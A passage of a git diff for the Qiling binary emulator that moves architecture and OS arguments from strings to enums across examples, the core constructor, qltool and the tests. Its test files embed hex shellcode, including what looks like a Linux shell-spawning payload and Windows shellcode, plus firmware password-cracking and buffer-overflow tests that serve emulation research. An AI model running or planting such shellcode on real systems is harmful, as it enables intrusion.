verbose=QL_VERBOSE.DEFAULT) ql.hw.create('rcc') ql.hw.create('gpiod') diff --git a/examples/mcu/stm32f411_dma_logger.py b/examples/mcu/stm32f411_dma_logger.py index 5ab10c515..0e129b58d 100644 --- a/examples/mcu/stm32f411_dma_logger.py +++ b/examples/mcu/stm32f411_dma_logger.py @@ -7,12 +7,12 @@ sys.path.append("../..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f411 def stm32f411_dma(): - ql = Qiling(["../rootfs/mcu/stm32f411/dma-clock.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) + ql = Qiling(["../rootfs/mcu/stm32f411/dma-clock.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEBUG) ql.hw.create('usart2').watch() ql.hw.create('dma1').watch() diff --git a/examples/mcu/stm32f411_freertos.py b/examples/mcu/stm32f411_freertos.py index ee003f141..c5c2ed460 100644 --- a/examples/mcu/stm32f411_freertos.py +++ b/examples/mcu/stm32f411_freertos.py @@ -7,13 +7,13 @@ sys.path.append("../..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f411 def stm32f411_freertos(): - ql = Qiling(["../rootfs/mcu/stm32f411/os-demo.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) + ql = Qiling(["../rootfs/mcu/stm32f411/os-demo.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEBUG) ql.hw.create('usart2').watch() ql.hw.create('gpioa').watch() diff --git a/examples/mcu/stm32f411_gpio_hook.py b/examples/mcu/stm32f411_gpio_hook.py index 5fbb23979..22f369003 100644 --- a/examples/mcu/stm32f411_gpio_hook.py +++ b/examples/mcu/stm32f411_gpio_hook.py @@ -7,12 +7,12 @@ sys.path.append("../..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f411 def test_mcu_gpio_stm32f411(): - ql = Qiling(["../../examples/rootfs/mcu/stm32f411/hello_gpioA.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) + ql = Qiling(["../../examples/rootfs/mcu/stm32f411/hello_gpioA.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEBUG) ql.hw.create('usart2').watch() ql.hw.create('rcc').watch() diff --git a/examples/mcu/stm32f411_i2c_lcd.py b/examples/mcu/stm32f411_i2c_lcd.py index 48b143834..1e98722e3 100644 --- a/examples/mcu/stm32f411_i2c_lcd.py +++ b/examples/mcu/stm32f411_i2c_lcd.py @@ -8,12 +8,12 @@ sys.path.append("../..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.hw.external_device.lcd.lcd1602 import PyGameLCD1602 from qiling.extensions.mcu.stm32f4 import stm32f411 def create(path, lcd): - ql = Qiling([path], archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) + ql = Qiling([path], archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEBUG) ql.hw.create('i2c1') ql.hw.create('rcc') diff --git a/examples/mcu/stm32f411_interact_usart.py b/examples/mcu/stm32f411_interact_usart.py index 19f5ba839..ab1dcabad 100644 --- a/examples/mcu/stm32f411_interact_usart.py +++ b/examples/mcu/stm32f411_interact_usart.py @@ -11,12 +11,12 @@ import threading from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f411 -ql = Qiling(["../../examples/rootfs/mcu/stm32f411/md5_server.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.OFF) +ql = Qiling(["../../examples/rootfs/mcu/stm32f411/md5_server.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.OFF) ql.hw.create('usart2') ql.hw.create('rcc') diff --git a/examples/mcu/stm32f411_spi_oled12864.py b/examples/mcu/stm32f411_spi_oled12864.py index 69fdcb707..c8877f209 100644 --- a/examples/mcu/stm32f411_spi_oled12864.py +++ b/examples/mcu/stm32f411_spi_oled12864.py @@ -7,12 +7,13 @@ sys.path.append("../..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f411 from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi -ql = Qiling(['../rootfs/mcu/stm32f411/oled12864.hex'], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + +ql = Qiling(['../rootfs/mcu/stm32f411/oled12864.hex'], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('rcc') ql.hw.create('gpioa') diff --git a/qiling/core.py b/qiling/core.py index 6cc5c4706..ab85be0f9 100644 --- a/qiling/core.py +++ b/qiling/core.py @@ -36,8 +36,8 @@ def __init__( rootfs: str = r'.', env: MutableMapping[AnyStr, AnyStr] = {}, code: Optional[bytes] = None, - ostype: Union[str, QL_OS] = None, - archtype: Union[str, QL_ARCH] = None, + ostype: Optional[QL_OS] = None, + archtype: Optional[QL_ARCH] = None, verbose: QL_VERBOSE = QL_VERBOSE.DEFAULT, profile: str = None, console: bool = True, @@ -117,13 +117,8 @@ def __init__( ################# # arch os setup # ################# - if type(archtype) is str: - archtype = arch_convert(archtype) - if type(ostype) is str: - ostype = os_convert(ostype) - - # if provided arch was invalid or not provided, guess arch and os + # if arch was not provided, guess arch and os if archtype is None: guessed_archtype, guessed_ostype, guessed_archendian = ql_guess_emu_env(self.path) @@ -140,12 +135,12 @@ def __init__( ostype = arch_os_convert(archtype) # arch should have been determined by now; fail if not - if type(archtype) is not QL_ARCH: - raise QlErrorArch(f'Unknown or unsupported architecture: "{archtype}"') + if archtype is None: + raise QlErrorArch(f'Unknown or unsupported architecture') # os should have been determined by now; fail if not - if type(ostype) is not QL_OS: - raise QlErrorOsType(f'Unknown or unsupported operating system: "{ostype}"') + if ostype is None: + raise QlErrorOsType(f'Unknown or unsupported operating system') # if endianess is still undetermined, set it to little-endian. # this setting is ignored for architectures with predefined endianess diff --git a/qltool b/qltool index be6a52d3f..e949d985f 100755 --- a/qltool +++ b/qltool @@ -9,6 +9,7 @@ import sys import ast import pickle from pprint import pprint +from typing import TYPE_CHECKING, Mapping, Type from unicorn import __version__ as uc_ver from qiling import __version__ as ql_ver @@ -16,11 +17,15 @@ from qiling import __version__ as ql_ver from qiling import Qiling from qiling.arch import utils as arch_utils from qiling.debugger.qdb import QlQdb -from qiling.utils import arch_convert from qiling.const import QL_VERBOSE, QL_ENDIAN, os_map, arch_map, verbose_map from qiling.extensions.coverage import utils as cov_utils from qiling.extensions import report + +if TYPE_CHECKING: + from enum import Enum + + # read code from file def read_file(fname: str): with open(fname, "rb") as f: @@ -38,9 +43,24 @@ class __arg_env(argparse.Action): setattr(namespace, self.dest, env or {}) -class __arg_verbose(argparse.Action): - def __call__(self, parser, namespace, values, option_string): - setattr(namespace, self.dest, verbose_map[values]) + +def __make_enum_arg(enum_rmap: Mapping[str, 'Enum'], aliases: Mapping[str, str] = {}) -> Type[argparse.Action]: + class __enum_arg(argparse.Action): + def __call__(self, parser, namespace, values: str, option_string): + values = values.casefold() + + if values in aliases: + values = aliases[values] + + setattr(namespace, self.dest, enum_rmap[values]) + + return __enum_arg + + +__arg_archtype = __make_enum_arg(arch_map, {'x86_64': 'x8664', 'riscv32': 'riscv'}) +__arg_ostype = __make_enum_arg(os_map, {'darwin': 'macos'}) +__arg_verbose = __make_enum_arg(verbose_map) + def handle_code(options: argparse.Namespace): archendian = { @@ -67,9 +87,8 @@ def handle_code(options: argparse.Namespace): elif options.format == 'asm': print ("Load ASM from FILE") assembly = read_file(options.filename) - archtype = arch_convert(options.arch) - assembler = arch_utils.assembler(archtype, archendian, options.thumb) + assembler = arch_utils.assembler(options.arch, archendian, options.thumb) code, _ = assembler.asm(assembly) code = bytes(code) @@ -185,10 +204,10 @@ if __name__ == '__main__': code_parser = commands.add_parser('code', help='execute a shellcode') code_parser.add_argument('-f', '--filename', metavar="FILE", help="filename") code_parser.add_argument('-i', '--input', metavar="INPUT", dest="input", help='input hex value') - code_parser.add_argument('--arch', required=True, choices=arch_map) + code_parser.add_argument('--arch', required=True, choices=arch_map, action=__arg_archtype) code_parser.add_argument('--thumb', action='store_true', default=False, help='specify thumb mode for ARM') code_parser.add_argument('--endian', choices=('little', 'big'), default='little', help='specify endianess for bi-endian archs') - code_parser.add_argument('--os', required=True, choices=os_map) + code_parser.add_argument('--os', required=True, choices=os_map, action=__arg_ostype) code_parser.add_argument('--rootfs', default='.', help='emulated root filesystem, that is where all libraries reside') code_parser.add_argument('--format', choices=('asm', 'hex', 'bin'), default='bin', help='input file format') diff --git a/tests/test_blob.py b/tests/test_blob.py index 1a702f01c..26bd5f7f2 100644 --- a/tests/test_blob.py +++ b/tests/test_blob.py @@ -7,7 +7,7 @@ sys.path.append("..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.os.const import STRING class BlobTest(unittest.TestCase): @@ -51,7 +51,7 @@ def partial_run_init(ql): with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f: uboot_code = f.read() - ql = Qiling(code=uboot_code[0x40:], archtype="arm", ostype="blob", profile="profiles/uboot_bin.ql", verbose=QL_VERBOSE.DEBUG) + ql = Qiling(code=uboot_code[0x40:], archtype=QL_ARCH.ARM, ostype=QL_OS.BLOB, profile="profiles/uboot_bin.ql", verbose=QL_VERBOSE.DEBUG) image_base_addr = ql.loader.load_address ql.hook_address(my_getenv, image_base_addr + 0x13AC0) diff --git a/tests/test_debugger.py b/tests/test_debugger.py index 9003fe1cb..ca7ca33e9 100644 --- a/tests/test_debugger.py +++ b/tests/test_debugger.py @@ -7,7 +7,7 @@ sys.path.append("..") from qiling import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE class SimpleGdbClient: DELAY = 0.6 @@ -165,7 +165,7 @@ def gdb_test_client(): def test_gdbdebug_shellcode_server(self): X8664_LIN = bytes.fromhex('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') - ql = Qiling(code=X8664_LIN, archtype='x8664', ostype='linux') + ql = Qiling(code=X8664_LIN, archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX) ql.debugger = 'gdb:127.0.0.1:9998' def gdb_test_client(): diff --git a/tests/test_elf.py b/tests/test_elf.py index 48d071865..dc9f187b2 100644 --- a/tests/test_elf.py +++ b/tests/test_elf.py @@ -7,7 +7,7 @@ sys.path.append("..") from qiling import Qiling -from qiling.const import QL_OS, QL_INTERCEPT, QL_STOP, QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_INTERCEPT, QL_STOP, QL_VERBOSE from qiling.exception import * from qiling.extensions import pipe from qiling.os.const import STRING @@ -1113,7 +1113,7 @@ def test_elf_linux_x86_getdents64(self): del ql def test_memory_search(self): - ql = Qiling(code = b"\xCC", archtype = "x8664", ostype = "linux", verbose=QL_VERBOSE.DEBUG) + ql = Qiling(code=b"\xCC", archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) ql.mem.map(0x1000, 0x1000) ql.mem.map(0x2000, 0x1000) diff --git a/tests/test_evm.py b/tests/test_evm.py index 4e8c1d4f9..f7cc193bc 100644 --- a/tests/test_evm.py +++ b/tests/test_evm.py @@ -4,6 +4,7 @@ sys.path.append("..") from qiling import Qiling +from qiling.const import QL_ARCH, QL_VERBOSE SECRET_KEY = os.environ.get('AM_I_IN_A_DOCKER_CONTAINER', False) @@ -27,7 +28,7 @@ def __init__(self) -> None: class EVMTest(unittest.TestCase): def test_underflow_code(self): - ql = Qiling(code="0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029",archtype="evm", verbose=4) + ql = Qiling(code="0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029",archtype=QL_ARCH.EVM, verbose=QL_VERBOSE.DEBUG) testcheck = Checklist() argu = ql.arch.evm.abi.convert(['uint256'], [20]) code = ql.code + argu @@ -83,7 +84,7 @@ def check_balance(sender, destination): self.assertTrue(testcheck.visited_hookinsn) def test_underflow_filename(self): - ql = Qiling(["../examples/rootfs/evm/Hexagon.hex"], archtype="evm", verbose=4) + ql = Qiling(["../examples/rootfs/evm/Hexagon.hex"], archtype=QL_ARCH.EVM, verbose=QL_VERBOSE.DEBUG) user1 = ql.arch.evm.create_account(balance=100*10**18) user2 = ql.arch.evm.create_account(balance=100*10**18) @@ -118,7 +119,7 @@ def check_balance(sender, destination): self.assertEqual(int(result.output.hex()[2:], 16), 452312848583266388373324160190187140051835877600158453279131187530910662654) def test_abi_encoding(self): - ql = Qiling(code="0x608060405234801561001057600080fd5b506101a4806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063ead710c414610030575b600080fd5b6100e96004803603602081101561004657600080fd5b810190808035906020019064010000000081111561006357600080fd5b82018360208201111561007557600080fd5b8035906020019184600183028401116401000000008311171561009757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610164565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012957808201518184015260208101905061010e565b50505050905090810190601f1680156101565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b606081905091905056fea2646970667358221220cf43353b75256fc42aaffd9632e06963c5c2aad72a91004bfd2f98cd56ae1a0c64736f6c63430006000033",archtype="evm", verbose=4) + ql = Qiling(code="0x608060405234801561001057600080fd5b506101a4806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063ead710c414610030575b600080fd5b6100e96004803603602081101561004657600080fd5b810190808035906020019064010000000081111561006357600080fd5b82018360208201111561007557600080fd5b8035906020019184600183028401116401000000008311171561009757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610164565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012957808201518184015260208101905061010e565b50505050905090810190601f1680156101565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b606081905091905056fea2646970667358221220cf43353b75256fc42aaffd9632e06963c5c2aad72a91004bfd2f98cd56ae1a0c64736f6c63430006000033",archtype=QL_ARCH.EVM, verbose=QL_VERBOSE.DEBUG) user1 = ql.arch.evm.create_account(balance=100*10**18) c1 = ql.arch.evm.create_account() diff --git a/tests/test_mcu.py b/tests/test_mcu.py index 8fa7500e1..775700c21 100644 --- a/tests/test_mcu.py +++ b/tests/test_mcu.py @@ -8,7 +8,7 @@ sys.path.append("..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f407, stm32f411, stm32f429 from qiling.extensions.mcu.stm32f1 import stm32f103 from qiling.extensions.mcu.atmel import sam3x8e @@ -16,8 +16,8 @@ class MCUTest(unittest.TestCase): def test_mcu_led_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/rand_blink.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DISASM) + ql = Qiling(["../examples/rootfs/mcu/stm32f411/rand_blink.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DISASM) # Set verbose=QL_VERBOSE.DEFAULT to find warning ql.run(count=1000) @@ -26,9 +26,9 @@ def test_mcu_led_stm32f411(self): def test_mcu_snapshot_stm32f411(self): def create_qiling(): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/hello_usart.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411) - + ql = Qiling(["../examples/rootfs/mcu/stm32f411/hello_usart.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411) + ql.hw.create('usart2') ql.hw.create('rcc') @@ -53,8 +53,8 @@ def create_qiling(): del ql1, ql2 def test_mcu_usart_input_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/md5_server.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.OFF) + ql = Qiling(["../examples/rootfs/mcu/stm32f411/md5_server.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.OFF) ql.hw.create('usart2') ql.hw.create('rcc') @@ -74,8 +74,8 @@ def test_mcu_usart_input_stm32f411(self): del ql def test_mcu_patch_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/patch_test.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + ql = Qiling(["../examples/rootfs/mcu/stm32f411/patch_test.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('usart2') ql.hw.create('rcc') @@ -88,7 +88,7 @@ def test_mcu_patch_stm32f411(self): def test_mcu_freertos_stm32f411(self): ql = Qiling(["../examples/rootfs/mcu/stm32f411/os-demo.elf"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DISABLED) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DISABLED) ql.hw.create('usart2') ql.hw.create('rcc') @@ -110,8 +110,8 @@ def counter(): del ql def test_mcu_dma_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/dma-clock.elf"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + ql = Qiling(["../examples/rootfs/mcu/stm32f411/dma-clock.elf"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('usart2') ql.hw.create('dma1') @@ -129,7 +129,7 @@ def test_mcu_dma_stm32f411(self): def test_mcu_i2c_stm32f411(self): ql = Qiling(["../examples/rootfs/mcu/stm32f411/i2c-lcd.bin", 0x8000000], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('i2c1') ql.hw.create('rcc') @@ -161,7 +161,7 @@ def step(self): def test_mcu_spi_stm32f411(self): ql = Qiling(["../examples/rootfs/mcu/stm32f411/spi-test.bin", 0x8000000], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('spi1') ql.hw.create('rcc') @@ -175,7 +175,7 @@ def test_mcu_spi_stm32f411(self): def test_mcu_led_rust_stm32f411(self): ql = Qiling(["../examples/rootfs/mcu/stm32f411/led-rust.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEFAULT) count = 0 def counter(): @@ -192,9 +192,9 @@ def counter(): def test_mcu_hacklock_stm32f407(self): def crack(passwd): - ql = Qiling(["../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.OFF) - + ql = Qiling(["../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f407, verbose=QL_VERBOSE.OFF) + ql.hw.create('spi2') ql.hw.create('gpioe') ql.hw.create('gpiof') @@ -221,8 +221,8 @@ def crack(passwd): self.assertFalse(crack('123456')) def test_mcu_tim_speed_stm32f411(self): - ql = Qiling(['../examples/rootfs/mcu/stm32f411/basic-timer.elf'], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + ql = Qiling(['../examples/rootfs/mcu/stm32f411/basic-timer.elf'], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('rcc') ql.hw.create('flash interface') @@ -260,8 +260,8 @@ def counter(): self.assertTrue(ql.hw.usart2.recv().startswith(b'hello\n')) def test_mcu_i2c_interrupt_stm32f411(self): - ql = Qiling(['../examples/rootfs/mcu/stm32f411/i2cit-lcd.elf'], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + ql = Qiling(['../examples/rootfs/mcu/stm32f411/i2cit-lcd.elf'], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('i2c1') ql.hw.create('rcc').watch() @@ -295,8 +295,8 @@ def skip_delay(ql): def test_mcu_blink_gd32vf103(self): - ql = Qiling(['../examples/rootfs/mcu/gd32vf103/blink.hex'], archtype="riscv", - env=gd32vf103, ostype="mcu", verbose=QL_VERBOSE.DEFAULT) + ql = Qiling(['../examples/rootfs/mcu/gd32vf103/blink.hex'], + archtype=QL_ARCH.RISCV, ostype=QL_OS.MCU, env=gd32vf103, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('rcu') ql.hw.create('gpioa') @@ -322,7 +322,7 @@ def counter(): def test_mcu_crc_stm32f407(self): ql = Qiling(["../examples/rootfs/mcu/stm32f407/ai-sine-test.elf"], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f407, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('rcc') ql.hw.create('pwr') @@ -350,7 +350,7 @@ def indicator(ql): def test_mcu_usart_stm32f103(self): ql = Qiling(["../examples/rootfs/mcu/stm32f103/sctf2020-password-lock-plus.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f103, verbose=QL_VERBOSE.DEFAULT) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f103, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('rcc') ql.hw.create('flash interface') @@ -378,7 +378,7 @@ def gpio_set_cb(pin): def test_mcu_serial_sam3x8e(self): ql = Qiling(["../examples/rootfs/mcu/sam3x8e/serial.ino.hex"], - archtype="cortex_m", ostype="mcu", env=sam3x8e, verbose=QL_VERBOSE.DEFAULT) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=sam3x8e, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('wdt') ql.hw.create('efc0') @@ -400,8 +400,8 @@ def test_mcu_serial_sam3x8e(self): del ql def test_mcu_hackme_stm32f429(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], - archtype="cortex_m", env=stm32f429, ostype='mcu', verbose=QL_VERBOSE.DISABLED) + ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f429, verbose=QL_VERBOSE.DISABLED) ql.hw.create('rcc') ql.hw.create('usart2') @@ -424,8 +424,8 @@ def test_mcu_hackme_stm32f429(self): self.assertEqual(ql.hw.usart3.recv(), b'Welcome to the world of Hacking!\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') def test_mcu_fastmode_stm32f429(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], - archtype="cortex_m", env=stm32f429, ostype='mcu', verbose=QL_VERBOSE.DEFAULT) + ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f429, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('rcc') ql.hw.create('usart2') diff --git a/tests/test_peshellcode.py b/tests/test_peshellcode.py index 72ed657f4..bac350cdf 100644 --- a/tests/test_peshellcode.py +++ b/tests/test_peshellcode.py @@ -7,6 +7,7 @@ sys.path.append("..") from qiling import Qiling +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE X86_WIN = bytes.fromhex(''' fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c @@ -34,18 +35,18 @@ class PEShellcodeTest(unittest.TestCase): def test_windowssc_x86(self): - ql = Qiling(code=X86_WIN, archtype="x86", ostype="windows", rootfs="../examples/rootfs/x86_windows") + ql = Qiling(code=X86_WIN, rootfs=r'../examples/rootfs/x86_windows', archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, verbose=QL_VERBOSE.OFF) ql.run() del ql def test_windowssc_x64(self): - ql = Qiling(code=X8664_WIN, archtype="x8664", ostype="windows", rootfs="../examples/rootfs/x8664_windows") + ql = Qiling(code=X8664_WIN, rootfs=r'../examples/rootfs/x8664_windows', archtype=QL_ARCH.X8664, ostype=QL_OS.WINDOWS, verbose=QL_VERBOSE.OFF) ql.run() del ql def test_read_ptr32(self): - ql = Qiling(code=POINTER_TEST, archtype="x86", ostype="windows", rootfs="../examples/rootfs/x86_windows") + ql = Qiling(code=POINTER_TEST, rootfs=r'../examples/rootfs/x86_windows', archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, verbose=QL_VERBOSE.OFF) addr = ql.loader.entry_point self.assertEqual(0x11, ql.mem.read_ptr(addr, 1)) @@ -56,7 +57,7 @@ def test_read_ptr32(self): del ql def test_read_ptr64(self): - ql = Qiling(code=POINTER_TEST, archtype="x8664", ostype="windows", rootfs="../examples/rootfs/x8664_windows") + ql = Qiling(code=POINTER_TEST, rootfs=r'../examples/rootfs/x8664_windows', archtype=QL_ARCH.X8664, ostype=QL_OS.WINDOWS, verbose=QL_VERBOSE.OFF) addr = ql.loader.entry_point self.assertEqual(0x11, ql.mem.read_ptr(addr, 1)) diff --git a/tests/test_r2.py b/tests/test_r2.py index b25681089..06cdacbeb 100644 --- a/tests/test_r2.py +++ b/tests/test_r2.py @@ -4,7 +4,7 @@ sys.path.append("..") from qiling import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_VERBOSE try: from 